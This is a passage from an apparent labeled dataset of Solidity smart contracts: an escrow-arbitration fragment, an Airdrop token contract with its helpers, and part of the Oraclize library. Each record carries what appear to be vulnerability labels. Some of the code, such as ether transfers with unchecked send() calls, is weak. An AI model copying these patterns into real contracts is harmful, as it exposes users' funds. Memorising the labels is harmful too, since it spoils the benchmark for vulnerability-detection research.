if (transaction.senderFee > _arbitrationCost) {
uint extraFeeSender = transaction.senderFee - _arbitrationCost;
transaction.senderFee = _arbitrationCost;
transaction.sender.send(extraFeeSender);
}
if (transaction.receiverFee > _arbitrationCost) {
uint extraFeeReceiver = transaction.receiverFee - _arbitrationCost;
transaction.receiverFee = _arbitrationCost;
transaction.receiver.send(extraFeeReceiver);
}
}
function submitEvidence(uint _transactionID, string _evidence) public {
Transaction storage transaction = transactions[_transactionID];
require(
msg.sender == transaction.sender || msg.sender == transaction.receiver,
"The caller must be the sender or the receiver."
);
require(
transaction.status < Status.Resolved,
"Must not send evidence if the dispute is resolved."
);
emit Evidence(arbitrator, _transactionID, msg.sender, _evidence);
}
function appeal(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
arbitrator.appeal.value(msg.value)(transaction.disputeId, arbitratorExtraData);
}
function rule(uint _disputeID, uint _ruling) public {
uint transactionID = disputeIDtoTransactionID[_disputeID];
Transaction storage transaction = transactions[transactionID];
require(msg.sender == address(arbitrator), "The caller must be the arbitrator.");
require(transaction.status == Status.DisputeCreated, "The dispute has already been resolved.");
emit Ruling(Arbitrator(msg.sender), _disputeID, _ruling);
executeRuling(transactionID, _ruling);
}
function executeRuling(uint _transactionID, uint _ruling) internal {
Transaction storage transaction = transactions[_transactionID];
require(_ruling <= AMOUNT_OF_CHOICES, "Invalid ruling.");
if (_ruling == SENDER_WINS) {
transaction.sender.send(transaction.senderFee + transaction.amount);
} else if (_ruling == RECEIVER_WINS) {
transaction.receiver.send(transaction.receiverFee + transaction.amount);
} else {
uint split_amount = (transaction.senderFee + transaction.amount) / 2;
transaction.sender.send(split_amount);
transaction.receiver.send(split_amount);
}
transaction.amount = 0;
transaction.senderFee = 0;
transaction.receiverFee = 0;
transaction.status = Status.Resolved;
}
function getCountTransactions() public view returns (uint countTransactions) {
return transactions.length;
}
function getTransactionIDsByAddress(address _address) public view returns (uint[] transactionIDs) {
uint count = 0;
for (uint i = 0; i < transactions.length; i++) {
if (transactions[i].sender == _address || transactions[i].receiver == _address)
count++;
}
transactionIDs = new uint[](count);
count = 0;
for (uint j = 0; j < transactions.length; j++) {
if (transactions[j].sender == _address || transactions[j].receiver == _address)
transactionIDs[count++] = j;
}
}
} | 0 | 727 |
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.5.4;
contract Airdrop is Ownable {
using SafeMath for uint256;
IERC20 public token;
constructor(address _tokenAddress)public {
require(_tokenAddress != address(0));
token = IERC20(_tokenAddress);
}
function multisend(
address[] calldata dests,
uint256[] calldata values
)
external
onlyOwner
{
require(
dests.length == values.length,
"Number of addresses and values should be same"
);
for(uint256 i = 0; i<dests.length; i = i.add(1)) {
require(
token.transferFrom(msg.sender, dests[i], values[i])
);
}
}
} | 1 | 4,386 |
pragma solidity 0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
